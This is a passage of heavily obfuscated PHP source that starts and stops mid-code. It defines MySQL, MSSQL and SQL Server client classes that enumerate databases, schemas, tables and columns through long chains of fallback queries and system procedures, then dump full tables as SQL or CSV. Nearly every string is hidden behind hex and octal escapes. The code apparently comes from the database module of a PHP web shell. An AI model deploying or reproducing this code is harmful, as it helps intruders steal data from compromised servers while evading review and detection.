"\x2c\x20\x4b\x45\131\x28" . mysqlEscName($v->name) . "\51"; } $a[$v->name] = $s; } while ($v = mysql_fetch_field($q)); return $a; } if (is_string($v = mysql_field_name($q, 0))) { $i = 0; do { if (is_string($s = mysql_field_type($q, $i))) { $a[$v] = $s === "\x73\x74\x72\x69\x6e\147" ? "\124\105\x58\x54" : strtoupper($s); } if (($a[$v] === "\x49\x4e\x54" || $a[$v] === "\x52\x45\x41\114") && ($s = mysql_field_len($q, $i))) { $a[$v] .= "\x28" . $s . "\51"; } if (is_string($s = mysql_field_flags($q, $i))) { if (strpos($s, "\165\156\163\x69\147\156\145\144") !== FALSE) { $a[$v] .= "\x20\125\x4e\x53\111\x47\x4e\105\104"; } if (strpos($s, "\172\x65\x72\157\x66\151\154\154") !== FALSE) { $a[$v] .= "\x20\132\105\122\x4f\106\111\x4c\x4c"; } if (strpos($s, "\156\x6f\164\137\156\165\154\x6c") !== FALSE) { $a[$v] .= "\x20\x4e\x4f\124\40\116\x55\114\114"; } if (strpos($s, "\x61\x75\164\157\x5f\151\156\x63\162\145\x6d\x65\156\x74") !== FALSE) { $a[$v] .= "\x20\x41\x55\124\x4f\137\x49\116\103\122\x45\115\105\116\x54"; } if (strpos($s, "\160\162\151\155\x61\x72\x79\x5f\153\x65\x79") !== FALSE) { $a[$v] .= "\40\x50\x52\x49\115\x41\x52\x59\40\x4b\x45\x59"; } elseif (strpos($s, "\x75\x6e\151\161\x75\x65\x5f\x6b\x65\x79") !== FALSE) { $a[$v] .= "\40\125\116\111\x51\125\x45\x20\113\x45\131"; } elseif (strpos($s, "\155\x75\x6c\x74\151\x70\x6c\x65\137\153\145\x79") !== FALSE) { $a[$v] .= "\54\40\x4b\105\131\50" . mysqlEscName($v) . "\x29"; } } } while (is_string($v = mysql_field_name($q, ++$i))); return $a; } } if (($v = mysql_query("\123\x45\x4c\x45\x43\124\x20\52\x20\x46\x52\117\x4d\x20" . $e . "\40\x4c\111\x4d\111\x54\40\x31", $this->_cnct)) && ($v = mysql_fetch_assoc($v))) { foreach ($v as $k => $s) { $a[$k] = ''; } return $a; } return FALSE; } function fetchAssoc() { return mysql_fetch_assoc($this->_res); } function fetchRow() { return mysql_fetch_row($this->_res); } function query($v) { return $this->_res = mysql_query($v, $this->_cnct); } function dump($b, $t, $c, $f) { if ($f) { $i = $this->outCreateTable($b, $t); } $c = sqlJoinColumns($c, "\155\x79\163\161\x6c\x45\163\143\x4e\x61\155\x65"); if (($q = mysql_unbuffered_query("\123\105\114\x45\103\124\40" . $c . "\40\106\x52\117\115\40" . mysqlEscName($b, $t), $this->_cnct)) && ($v = mysql_fetch_assoc($q))) { if ($f) { sqlOutInsert(mysqlEscName($t), $c); } else { echo implode("\73", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "\x2c" : "\xa"; } if ($f) { sqlOutValues($v, "\x6d\171\x73\x71\x6c\x45\x73\143\x44\x61\x74\x61"); } else { csvOutValues($v); } } while ($v = mysql_fetch_row($q)); if ($f) { echo "\73\12"; } mysql_free_result($q); } else { $i .= sprintf(E_SLCTDT, $b . "\56" . $t); } return $i; } function close() { mysql_close($this->_cnct); } } class MySQLiClient extends MySQLBase { function connect($h, $u, $p, $b, $c) { if ($h !== NULL && ($v = strrpos($h, "\72"))) { $t = (int) substr($h, $v + 1); $h = substr($h, 0, $v); } else { $t = NULL; } if (!($this->_cnct = mysqli_connect($h, $u, $p, $b, $t))) { return FALSE; } mysqli_query($this->_cnct, "\x53\x45\x54\40\x4e\x41\x4d\x45\x53\40" . $this->charset($c)); return TRUE; } function getError() { if ($this->_cnct) { $v = mysqli_error($this->_cnct); mysqli_close($this->_cnct); return $v; } return mysqli_connect_error(); } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = mysqli_query($this->_cnct, $v)) { return TRUE; } } return FALSE; } function fetchBase() { return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE; } function fetchTable() { return ($v = mysqli_fetch_row($this->_res)) ? $v[0] : FALSE; } function getTableSize($b, $t) { if ($v = mysqli_query($this->_cnct, "\123\105\114\x45\x43\124\40\x43\x4f\125\116\x54\x28\x2a\x29\40\106\122\x4f\115\40" . mysqlEscName($b, $t))) { $v = mysqli_fetch_row($v); return $v[0]; } return "\x22\x3f\42"; } function getColumns($b, $t) { if ($a = parent::getColumns($b, $t)) { return $a; } $e = mysqlEscName($b, $t); $q = FALSE; if ($q = mysqli_query($this->_cnct, "\123\105\x4c\105\103\124\x20\52\40\x46\122\117\115\x20" . $e . "\40\x4c\x49\115\x49\x54\x20\61")) { $y = array("\104\105\103\x49\115\101\114", "\124\111\116\x59\x49\x4e\x54", "\123\115\x41\114\x4c\x49\116\124", "\x49\x4e\x54", "\106\x4c\117\x41\124", "\104\x4f\125\102\x4c\x45", "\x4e\125\x4c\x4c", "\x54\x49\115\105\123\124\101\x4d\x50", "\102\x49\x47\111\x4e\124", "\x4d\x45\104\x49\x55\x4d\x49\116\x54", "\104\101\124\105", "\124\111\115\x45", "\x44\101\x54\x45\x54\x49\115\x45", "\131\105\101\122", "\x4e\x45\127\104\101\x54\x45", 16 => "\x42\x49\x54", 246 => "\x44\x45\103\111\115\101\114", 247 => "\105\116\125\x4d", 248 => "\x53\105\x54", 249 => "\124\x49\116\x59", 250 => "\115\105\104\111\x55\x4d", 251 => "\114\117\x4e\x47", 252 => '', 253 => "\x56\x41\122\103\110\x41\x52", 254 => "\x43\110\x41\x52", 255 => "\x47\x45\117\x4d\x45\x54\x52\x59"); if (!($v = mysqli_fetch_fields($q)) && ($i = mysqli_fetch_field($q))) { $v = array(); do { $v[] = $i; } while ($i = mysqli_fetch_field($q)); } if ($v) { foreach ($v as $i) { if ($i->type > 248 && $i->type < 253) { $s = $y[$i->type] . ($i->flags & 16 ? "\x42\x4c\117\102" : "\x54\105\130\x54"); } else { $s = isset($y[$i->type]) ? $y[$i->type] : "\x42\114\117\102"; } if ($i->flags & 32768) { $s .= "\50" . $i->length; if ($i->decimals) { $s .= "\54" . $i->decimals; } $s .= "\51"; } if ($i->flags & 32) { $s .= "\x20\x55\116\x53\111\x47\x4e\x45\x44"; } if ($i->flags & 64) { $s .= "\40\x5a\105\122\x4f\106\111\x4c\114"; } if ($i->flags & 1) { $s .= "\40\x4e\117\124\40\116\x55\114\114"; } if (isset($i->def) && $i->def !== '' && $i->def !== NULL) { $s .= "\40\104\105\106\x41\125\x4c\x54\x20" . mysqlEscData($i->def); } if ($i->flags & 512) { $s .= "\40\101\125\124\117\x5f\x49\x4e\103\122\x45\x4d\105\116\124"; } if ($i->flags & 2) { $s .= "\40\120\122\x49\x4d\x41\x52\131\40\x4b\x45\x59"; } elseif ($i->flags & 4 || $i->flags & 65536) { $s .= "\x20\x55\116\111\121\x55\x45\40\x4b\x45\131"; } elseif ($i->flags & 8 || $i->flags & 16384) { $s .= "\54\40\x4b\x45\x59\x28" . mysqlEscName($i->name) . "\x29"; } $a[$i->name] = $s; } return $a; } if ($v = mysqli_fetch_assoc($q)) { foreach ($v as $k => $i) { $a[$k] = ''; } return $a; } } return FALSE; } function fetchAssoc() { return mysqli_fetch_assoc($this->_res); } function fetchRow() { return mysqli_fetch_row($this->_res); } function query($v) { return $this->_res = mysqli_query($this->_cnct, $v); } function dump($b, $t, $c, $f) { if ($f) { $i = $this->outCreateTable($b, $t); } $c = sqlJoinColumns($c, "\x6d\x79\x73\x71\154\x45\163\x63\116\141\x6d\145"); if (($q = mysqli_query($this->_cnct, "\123\105\x4c\x45\103\124\x20" . $c . "\x20\106\122\117\x4d\40" . mysqlEscName($b, $t), MYSQLI_USE_RESULT)) && ($v = mysqli_fetch_assoc($q))) { if ($f) { sqlOutInsert(mysqlEscName($t), $c); } else { echo implode("\x3b", array_keys($v)), "\xa"; } $d = FALSE; do { if ($d) { echo $d; } else { $d = $f ? "\x2c" : "\xa"; } if ($f) { sqlOutValues($v, "\x6d\171\163\x71\x6c\x45\163\143\104\141\x74\141"); } else { csvOutValues($v); } } while ($v = mysqli_fetch_row($q)); if ($f) { echo "\73\12"; } mysqli_free_result($q); } else { $i .= sprintf(E_SLCTDT, $b . "\56" . $t); } return $i; } function close() { mysqli_close($this->_cnct); } } function mssqlEscData($v) { return "\47" . str_replace("\47", "\x27\x27", $v) . "\x27"; } function mssqlEscName() { $a = func_get_args(); foreach ($a as $k => $v) { $a[$k] = "\133" . str_replace("\135", "\x5d\x5d", $v) . "\x5d"; } return implode("\56", $a); } class MSSQLBase extends SQLBase { var $haveSchemas = TRUE, $canPaginate = TRUE, $_base = NULL; function getBases() { return $this->tryQueries(array("\x53\105\114\x45\103\124\x20\156\141\155\145\x20\x46\x52\x4f\x4d\40\x73\171\x73\56\x64\141\x74\x61\142\141\163\x65\163", "\x53\105\114\x45\103\124\40\156\141\155\x65\x20\106\122\x4f\115\40\163\x79\163\56\163\x79\163\144\141\164\141\x62\x61\163\x65\x73", "\123\105\x4c\105\x43\124\40\156\141\x6d\145\40\x46\122\x4f\115\40\x6d\141\163\164\x65\162\56\x64\142\x6f\56\163\x79\x73\144\x61\164\x61\x62\141\x73\x65\163", "\105\130\105\x43\40\x73\160\137\157\154\x65\144\142\137\144\x61\164\141\142\141\x73\x65", "\x45\x58\105\103\40\x6d\x61\x73\x74\145\x72\x2e\x64\142\x6f\56\163\x70\x5f\x6d\x73\x64\x62\x75\x73\x65\x72\x61\143\143\x65\x73\x73\40\42\x64\142\x22", "\x45\x58\105\103\x20\155\x61\163\x74\x65\x72\56\163\x79\163\56\163\160\137\155\x73\144\x62\x75\163\x65\x72\141\143\143\145\x73\163\x20\x22\x64\x62\42", "\105\130\105\x43\40\163\160\137\155\x73\146\157\162\x65\141\143\x68\144\142\x20\x27\123\105\114\x45\x43\124\x20\x27\x27\x3f\x27\x27\47", "\105\130\x45\103\40\163\x70\x5f\x68\x65\x6c\160\144\142", "\105\x58\105\x43\x20\x73\x70\x5f\x64\x61\164\141\x62\141\x73\145\163", "\105\130\105\x43\x20\x73\160\137\x6f\154\x65\144\142\x5f\x64\145\x66\x64\142", "\x53\105\x4c\x45\103\x54\40\x44\x49\x53\x54\x49\x4e\103\124\40\143\141\164\x61\x6c\157\x67\137\156\141\155\145\x20\x46\122\x4f\x4d\x20\x69\x6e\146\157\x72\x6d\x61\164\x69\157\156\137\x73\143\150\145\x6d\141\x2e\x73\143\x68\145\x6d\141\x74\141", "\123\105\x4c\105\x43\124\40\104\102\x5f\116\x41\x4d\x45\50\51")); } function getSchemas($b) { return $this->tryQueries(array("\123\x45\x4c\105\x43\124\40\x4e\x55\114\114\54\x73\143\x68\x65\x6d\x61\x5f\156\x61\x6d\x65\x20\106\x52\x4f\x4d\x20\x69\x6e\146\157\162\155\x61\164\151\157\x6e\x5f\x73\143\x68\x65\155\x61\56\x73\x63\150\145\x6d\141\164\x61", "\123\105\x4c\x45\x43\x54\x20\x4e\125\x4c\114\x2c\156\x61\x6d\145\40\x46\x52\117\x4d\40\163\171\163\x2e\163\x63\x68\x65\x6d\141\163", "\x53\x45\114\105\x43\x54\x20\x44\111\123\x54\111\x4e\103\x54\x20\163\143\x68\x65\155\x61\x5f\151\x64\54\x53\103\x48\105\115\101\137\x4e\101\x4d\105\x28\x73\143\150\145\x6d\x61\x5f\x69\x64\51\x20\x46\x52\117\x4d\x20\x73\171\163\56\141\x6c\154\137\157\x62\x6a\x65\x63\164\x73", "\x45\130\x45\103\40\163\160\x5f\x73\143\150\145\x6d\141\x74\x61\x5f\162\x6f\167\x73\145\x74", "\123\105\x4c\105\x43\124\x20\x44\111\x53\x54\x49\116\103\x54\x20\x73\143\x68\145\x6d\141\137\151\x64\x2c\123\x43\110\105\115\x41\137\x4e\x41\115\105\50\x73\143\x68\145\155\141\137\x69\x64\51\x20\106\x52\x4f\x4d\40\163\x79\163\x2e\x6f\142\152\145\x63\164\x73", "\123\x45\114\105\x43\x54\40\104\111\123\124\x49\116\x43\124\40\x73\143\150\x65\155\141\137\x69\144\x2c\x53\x43\110\x45\115\x41\x5f\x4e\101\115\x45\x28\163\x63\x68\x65\x6d\141\137\x69\144\x29\40\x46\122\x4f\115\x20\163\171\x73\x2e\x74\141\x62\x6c\x65\x73", "\123\x45\x4c\x45\x43\124\x20\116\x55\114\x4c\54\156\141\x6d\145\x20\x46\x52\117\115\x20\163\171\x73\x2e\144\141\164\141\x62\141\163\145\x5f\x70\162\x69\x6e\x63\x69\160\x61\154\163\x20\127\110\x45\x52\x45\40\x74\171\x70\x65\75\x27\x53\x27")); } function getTables($b, $s) { $s = mssqlEscData($s); if ($this->query("\x53\x45\114\105\103\x54\40\123\103\110\x45\x4d\101\x5f\111\x44\50" . $s . "\51") && ($v = $this->fetchRow()) && $v[0]) { $sr = "\163\x63\x68\145\x6d\x61\137\x69\144\x3d" . $v[0]; $ur = "\x75\151\144\75" . $v[0]; } else { $sr = "\x53\x43\x48\105\115\101\137\116\x41\115\105\x28\163\x63\150\x65\155\141\137\x69\144\x29\75" . $s; $ur = "\x53\x43\110\x45\x4d\101\x5f\116\101\x4d\x45\x28\165\x69\x64\x29\75" . $s; } return $this->tryQueries(array("\x53\x45\114\105\x43\x54\40\x6e\141\155\x65\x20\x46\x52\x4f\x4d\x20\x73\171\x73\56\141\x6c\x6c\x5f\157\142\152\145\x63\x74\x73\40\127\110\105\x52\105\40\164\171\160\145\40\x49\116\50\x27\x55\x27\x2c\x27\x53\47\x2c\47\x56\x27\51\40\x41\116\x44\40" . $sr, "\105\x58\x45\x43\x20\163\x70\137\164\x61\142\x6c\x65\163\40\x40\x74\x61\142\x6c\x65\137\x6f\167\156\145\x72\x3d" . $s, "\x53\x45\114\105\x43\x54\x20\156\141\155\x65\x20\x46\122\117\115\40\x73\171\x73\x2e\157\x62\x6a\145\x63\164\163\40\127\x48\x45\122\105\x20\164\x79\x70\145\x20\x49\x4e\50\47\125\47\54\x27\123\47\54\x27\126\x27\51\x20\x41\116\x44\x20" . $sr, "\123\x45\114\105\103\124\x20\x6e\x61\155\x65\x20\x46\x52\117\115\40\163\171\x73\157\x62\152\x65\143\164\163\x20\x57\x48\x45\122\105\x20\170\x74\171\x70\145\x20\111\116\50\47\x55\47\54\47\123\x27\x2c\x27\126\47\51\40\x41\x4e\x44\x20" . $ur, "\x53\105\x4c\x45\x43\x54\x20\x74\x61\x62\154\145\x5f\156\x61\155\145\x20\x46\x52\117\x4d\40\x69\x6e\146\157\x72\155\141\164\151\157\156\x5f\163\x63\x68\145\x6d\x61\56\x74\141\x62\154\x65\163\x20\x57\110\x45\122\105\40\x74\141\142\154\x65\x5f\x73\143\x68\145\x6d\141\75" . $s, "\123\105\x4c\x45\103\124\x20\156\x61\x6d\x65\40\x46\x52\x4f\x4d\40\163\x79\163\x2e\164\141\x62\154\x65\163\x20\x57\x48\x45\x52\105\x20" . $sr, "\105\x58\105\103\40\x73\160\x5f\x6d\x73\146\x6f\162\x65\141\x63\150\x74\141\x62\x6c\x65\x20\47\123\x45\114\x45\x43\124\x20\120\x41\122\x53\x45\116\x41\x4d\x45\x28\x27\47\77\x27\x27\x2c\x31\51\47\54\x20\100\167\150\145\162\x65\141\156\x64\75\47\101\x4e\x44\40" . str_replace("\x27", "\x27\47", $sr) . "\x27")); } function getColumns($b, $s, $t) { $a = array(); $sd = mssqlEscData($s); $sn = mssqlEscName($s); $td = mssqlEscData($t); $tn = mssqlEscName($t); $stdn = mssqlEscData($sn . "\x2e" . $tn); if ($this->query("\x45\x58\x45\103\x20\163\160\x5f\x63\157\x6c\x75\x6d\x6e\x73\40" . $td . "\54" . $sd) && ($v = $this->fetchRow())) { do { $v[5] = strtoupper($v[5]); if ($v[10] === 0) { $v[5] .= "\40\x4e\117\x54\40\x4e\x55\114\114"; } if ($v[12] !== NULL) { $v[5] .= "\x20\x44\x45\x46\x41\x55\114\124" . $v[12]; } $a[$v[3]] = $v[5]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("\105\x58\105\x43\x20\x73\x70\137\150\145\x6c\x70\40" . $stdn) && $this->nextResult() && ($v = $this->fetchRow())) { do { $v[1] = strtoupper($v[1]); if ($v[6] === "\x6e\157") { $v[1] .= "\x20\x4e\117\124\40\116\x55\x4c\114"; } $a[$v[0]] = $v[1]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("\x45\130\105\x43\40\x73\x70\x5f\155\163\x68\x65\154\x70\143\x6f\x6c\165\x6d\x6e\163\x20" . $stdn) && ($v = $this->fetchRow())) { do { $v[6] = strtoupper($v[6]); if ($v[9] === 0) { $v[6] .= "\40\x4e\117\124\x20\116\x55\x4c\114"; } if ($v[17] !== NULL) { $v[6] .= "\40\x44\105\x46\101\x55\114\124" . $v[17]; } $a[$v[0]] = $v[6]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("\x53\105\x4c\105\103\124\x20\x63\x6f\154\x75\155\x6e\x5f\156\141\155\145\54\x64\141\164\x61\x5f\x74\171\160\145\x2c\x69\163\137\x6e\165\154\x6c\x61\x62\154\x65\54\x63\157\x6c\165\155\156\x5f\144\x65\146\141\165\154\164\x20\x46\x52\x4f\x4d\40\x69\156\x66\157\x72\x6d\x61\x74\151\x6f\156\137\x73\x63\150\145\x6d\x61\x2e\143\157\x6c\165\155\156\x73\x20\x57\110\105\x52\105\x20\x74\x61\x62\154\145\x5f\x6e\x61\x6d\x65\75" . $td . "\40\101\x4e\104\40\x74\141\x62\x6c\145\137\x73\x63\x68\145\x6d\141\x3d" . $sd) && ($v = $this->fetchRow())) { do { $v[1] = strtoupper($v[1]); if ($v[2] === "\x4e\x4f") { $v[1] .= "\x20\x4e\x4f\124\40\116\x55\114\114"; } if ($v[3] !== NULL) { $v[1] .= "\x20\104\105\106\101\125\x4c\x54" . $v[3]; } $a[$v[0]] = $v[1]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("\105\130\x45\x43\40\163\160\x5f\x63\157\154\x75\x6d\x6e\x73\137\x6d\x61\x6e\x61\147\x65\x64\40\x40\157\x77\156\145\x72\x3d" . $sd . "\54\x20\100\x74\x61\x62\154\145\75" . $td) && ($v = $this->fetchRow())) { do { $v[7] = strtoupper($v[7]); if ($v[6] === "\x4e\117") { $v[7] .= "\40\116\117\x54\40\x4e\x55\114\114"; } if ($v[5] !== NULL) { $v[7] .= "\x20\x44\105\x46\101\x55\x4c\x54" . $v[5]; } $a[$v[3]] = $v[7]; } while ($v = $this->fetchRow()); return $a; } if ($this->query("\x53\105\114\x45\103\x54\40\117\102\112\105\x43\x54\x5f\x49\x44\50" . $stdn . "\x29") && ($v = $this->fetchRow())) { $r = "\157\x62\x6a\x65\143\164\137\x69\x64\75" . $v[0]; $i = "\151\144\x3d" . $v[0]; } else { $r = "\x4f\102\112\105\x43\124\137\123\x43\110\105\x4d\101\137\x4e\x41\x4d\105\x28\157\142\152\x65\x63\164\137\151\x64\51\75" . $sd . "\40\101\116\104\40\117\102\112\105\x43\x54\x5f\116\101\x4d\x45\50\157\x62\152\x65\x63\164\x5f\151\x64\x29\75" . $td; $i = "\x4f\x42\112\x45\103\124\137\x53\x43\110\105\x4d\x41\x5f\x4e\x41\115\105\50\x69\144\51\75" . $sd . "\x20\x41\x4e\104\40\x4f\102\x4a\105\x43\124\x5f\116\x41\x4d\105\x28\151\144\51\x3d" . $td; } if ($this->tryQueries(array("\x53\105\x4c\x45\103\x54\x20\156\141\155\145\54\124\131\120\x45\x5f\116\x41\x4d\x45\50\163\171\163\164\x65\x6d\137\x74\x79\x70\x65\x5f\x69\144\x29\54\151\163\x5f\x6e\165\x6c\154\141\142\x6c\145\40\106\122\x4f\115\40\163\x79\163\x2e\141\154\x6c\x5f\143\157\154\165\155\x6e\163\x20\x57\x48\105\x52\x45\40" . $r, "\123\x45\x4c\x45\x43\x54\x20\156\x61\155\x65\54\124\x59\120\105\x5f\x4e\101\115\105\x28\170\164\x79\x70\145\51\54\151\163\156\165\154\154\x61\x62\x6c\145\40\106\x52\x4f\115\x20\163\x79\163\x63\x6f\x6c\x75\155\156\x73\x20\x57\x48\105\122\105\40" . $i, "\x53\x45\114\105\x43\124\40\156\141\155\x65\54\x54\131\120\x45\x5f\x4e\101\115\x45\x28\163\171\163\x74\x65\x6d\137\x74\171\160\145\x5f\x69\x64\51\54\151\163\137\156\165\154\x6c\x61\142\x6c\145\40\106\122\117\x4d\x20\163\171\x73\56\143\x6f\x6c\x75\x6d\156\x73\x20\x57\x48\105\x52\x45\40" . $r))) { while ($v = $this->fetchRow()) { $v[1] = strtoupper($v[1]); if ($v[2] === 0) { $v[1] .= "\x20\116\x4f\x54\x20\116\125\x4c\114"; } $a[$v[0]] = $v[1]; } return $a; } if ($this->query("\x45\130\x45\103\40\x73\x70\x5f\143\x6f\x6c\165\155\x6e\x73\x5f\x72\157\x77\163\x65\164\x20" . $td . "\54" . $sd) && ($v = $this->fetchRow())) { do { $v[11] = "\x42\x49\x4e\101\122\131"; if ($v[10] === 0) { $v[11] .= "\40\116\117\x54\40\116\125\114\x4c"; } if ($v[8] !== NULL) { $v[11] .= "\x20\x44\x45\106\101\125\114\x54" . $v[8]; } $a[$v[3]] = $v[11]; } while ($v = $this->fetchRow()); return $a; } return FALSE; } } class MSSQLClient extends MSSQLBase { function connect($h, $u, $p, $b, $c) { if (!($this->_cnct = mssql_connect($h, $u, $p))) { return FALSE; } return $this->setBase($b); } function getError() { $v = mssql_get_last_message(); if ($this->_cnct) { mssql_close($this->_cnct); } return $v; } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = mssql_query($v, $this->_cnct)) { return TRUE; } } return FALSE; } function fetchBase() { if (($v = mssql_fetch_row($this->_res)) || mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res))) { return $v[0]; } return FALSE; } function fetchSchema() { return ($v = mssql_fetch_row($this->_res)) ? $v[1] : FALSE; } function fetchTable() { if (($v = mssql_fetch_row($this->_res)) || mssql_next_result($this->_res) && ($v = mssql_fetch_row($this->_res))) { return count($v) === 1 ? $v[0] : $v[2]; } return FALSE; } function getTableSize($b, $s, $t) { return ($v = mssql_query("\x53\x45\x4c\105\103\124\40\x43\x4f\x55\116\x54\50\52\51\40\106\x52\x4f\115\40" . mssqlEscName($b, $s, $t), $this->_cnct)) ? mssql_result($v, 0, 0) : "\42\x3f\x22"; } function setBase($v) { if ($v !== $this->_base) { $this->_base = NULL; if (!mssql_select_db(mssqlEscName($v), $this->_cnct) && !mssql_query("\x55\123\105\x20" . mssqlEscName($v), $this->_cnct)) { return FALSE; } $this->_base = $v; } return TRUE; } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) { return $a; } $a = array(); if ($q = mssql_query("\123\105\114\x45\103\x54\40\x54\x4f\x50\x20\x31\40\52\40\x46\x52\117\x4d\40" . mssqlEscName($b, $s, $t), $this->_cnct)) { if ($v = mssql_fetch_field($q)) { do { $a[$v->name] = strtoupper($v->type); } while ($v = mssql_fetch_field($q)); return $a; } if (is_string($v = mssql_field_name($q, 0))) { $i = 0; do { $a[$v] = is_string($s = mssql_field_type($q, $i)) ? strtoupper($s) : ''; } while (is_string($v = mssql_field_name($q, ++$i))); return $a; } if ($v = mssql_fetch_array($q, MSSQL_ASSOC)) { foreach ($v as $k => $i) { $a[$k] = ''; } return $a; } } return FALSE; } function select($b, $s, $t, $c, $o, $l) { $v = $l < 1000 ? 1000 : $l; if (!($this->_res = mssql_query("\x53\105\x4c\x45\x43\124\40\x54\x4f\120\x20" . ($o + $l) . "\x20" . sqlJoinColumns($c, "\155\163\x73\161\x6c\x45\x73\143\116\x61\x6d\145") . "\x20\x46\122\x4f\x4d\40" . mssqlEscName($b, $s, $t), $this->_cnct, $v))) { return FALSE; } $k = floor($o / $v); for ($i = 0; $i < $k; ++$i) { if (!mssql_fetch_batch($this->_res)) { return FALSE; } } $k = $o - $k * $v; if ($k > 0 && !mssql_data_seek($this->_res, $k)) { return FALSE; } return TRUE; } function fetchAssoc() { return mssql_fetch_array($this->_res, MSSQL_ASSOC); } function fetchRow() { if (($v = mssql_fetch_row($this->_res)) || mssql_fetch_batch($this->_res) && ($v = mssql_fetch_row($this->_res))) { return $v; } return FALSE; } function nextResult() { return mssql_next_result($this->_res); } function query($v) { return $this->_res = mssql_query($v, $this->_cnct); } function dump($b, $s, $t, $c, $f) { if (!$this->setBase($b)) { return sprintf(E_CHNGDB, $b, $s, $t); } $i = ''; if ($f) { if ($v = $this->getColumns($b, $s, $t)) { sqlOutCreate($t, $v, "\x42\111\116\x41\x52\131", "\155\163\x73\161\x6c\105\x73\143\x4e\x61\x6d\145"); } else { $i = sprintf(E_CNSTCS, $b . "\x2e" . $s . "\x2e" . $t); } } $c = sqlJoinColumns($c, "\x6d\x73\x73\x71\x6c\x45\x73\143\x4e\x61\155\x65"); if (($q = mssql_query("\x53\105\x4c\105\x43\x54\x20" . $c . "\40\106\x52\x4f\x4d\40" . mssqlEscName($b, $s, $t), $this->_cnct, 1000)) && ($v = mssql_fetch_array($q, MSSQL_ASSOC))) { if ($f) { sqlOutInsert(mssqlEscName($t), $c); } else { echo implode("\x3b", array_keys($v)), "\12"; } $d = FALSE; do { do { if ($d) { echo $d; } else { $d = $f ? "\54" : "\xa"; } if ($f) { sqlOutValues($v, "\155\x73\163\161\154\105\163\143\x44\141\164\141"); } else { csvOutValues($v); } } while ($v = mssql_fetch_row($q)); } while (mssql_fetch_batch($q)); if ($f) { echo "\x3b\12"; } mssql_free_result($q); } else { $i .= sprintf(E_SLCTDT, $b . "\x2e" . $s . "\x2e" . $t); } return $i; } function close() { mssql_close($this->_cnct); } } class SQLSrvClient extends MSSQLBase { function connect($h, $u, $p, $b, $c) { $this->_base = $b; $a = array(); if ($u !== NULL) { $a["\125\111\104"] = $u; } if ($p !== NULL) { $a["\120\x57\104"] = $p; } if ($b !== NULL) { $a["\104\x61\164\141\x62\x61\x73\145"] = $b; } return $this->_cnct = sqlsrv_connect($h, $a); } function getError() { $v = sqlsrv_errors(); if ($this->_cnct) { sqlsrv_close($this->_cnct); } return $v ? $v[0]["\155\x65\x73\163\141\147\145"] : ''; } function tryQueries($a) { foreach ($a as $v) { if ($this->_res = sqlsrv_query($this->_cnct, $v)) { return TRUE; } } return FALSE; } function fetchBase() { return ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) ? $v[0] : FALSE; } function fetchSchema() { return ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) ? $v[1] : FALSE; } function fetchTable() { if (($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC)) || sqlsrv_next_result($this->_res) && ($v = sqlsrv_fetch_array($this->_res, SQLSRV_FETCH_NUMERIC))) { return count($v) === 1 ? $v[0] : $v[2]; } return FALSE; } function getTableSize($b, $s, $t) { return ($v = sqlsrv_query($this->_cnct, "\x53\105\114\x45\x43\x54\x20\x43\117\x55\x4e\x54\50\52\x29\x20\x46\122\x4f\115\x20" . mssqlEscName($b, $s, $t))) && ($v = sqlsrv_fetch_array($v, SQLSRV_FETCH_NUMERIC)) ? $v[0] : "\42\x3f\x22"; } function getColumns($b, $s, $t) { if ($a = parent::getColumns($b, $s, $t)) { return $a; } $a = array(); if ($q = sqlsrv_query($this->_cnct, "\x53\105\114\105\103\x54\40\124\117\x50\40\61\40\x2a\x20\x46\x52\117\115\40" . mssqlEscName($b, $s, $t))) { if ($v = sqlsrv_field_metadata($q)) { $y = array(1 => "\103\x48\x41\122", 2 => "\x4e\125\x4d\105\122\111\x43", 3 => "\x44\105\103\x49\x4d\101\114", 4 => "\x49\x4e\x54", 5 => "\123\x4d\101\x4c\x4c\x49\x4e\x54", 6 => "\x46\114\x4f\x41\x54", 7 => "\122\x45\x41\x4c", 12 => "\126\101\122\103\x48\101\x52", 91 => "\104\101\124\105", 93 => "\x44\x41\124\105\124\x49\115\105", -1 => "\x54\105\130\124", -2 => "\102\111\x4e\x41\122\131", -3 => "\x56\x41\x52\x42\111\116\x41\122\131", -4 => "\x49\x4d\101\x47\105", -5 => "\102\111\107\111\x4e\124", -6 => "\x54\111\116\131\111\116\x54", -7 => "\x42\x49\x54", -8 => "\x4e\103\x48\x41\122", -9 => "\x4e\x56\101\x52\103\110\101\122", -10 => "\x4e\124\105\x58\124", -11 => "\125\x4e\x49\x51\x55\x45\111\104\x45\116\x54\111\106\x49\x45\x52", -151 => "\125\104\124", -152 => "\x58\x4d\114", -154 => "\124\111\x4d\105", -155 => "\x44\101\124\x45\x54\x49\x4d\105\x4f\106\106\x53\105\x54"); foreach ($v as $i) { $i["\x54\x79\x70\x65"] = isset($y["\x54\171\x70\x65"]) ? $y["\x54\x79\x70\145"] : "\x42\x49\x4e\x41\x52\131"; if ($i["\x4e\165\154\x6c\x61\142\x6c\145"] === SQLSRV_NULLABLE_NO) { $i["\x54\171\x70\x65"] .= "\40\116\x4f\x54\40\116\x55\114\114"; } $a[$i["\116\141\155\x65"]] = $i["\x54\x79\160\145"]; } return $a; } if ($v = sqlsrv_fetch_array($q, SQLSRV_FETCH_ASSOC)) { foreach ($v as $k => $i) { $a[$k] = ''; } return $a; } } return FALSE; } function select($b, $s, $t, $c, $o, $l) { return ($this->_res = sqlsrv_query($this->_cnct, "\123\105\114\x45\x43\x54\40\124\x4f\120\40" . ($o + $l) . "\x20" . sqlJoinColumns($c, "\155\163\x73\x71\x6c\105\163\x63\116\141\155\145") . "\40\106\122\x4f\115\x20" . mssqlEscName($b, $s, $t), array(), array("\x53\143\x72\x6f\x6c\154\x61\x62\154\145" => SQLSRV_CURSOR_DYNAMIC))) && 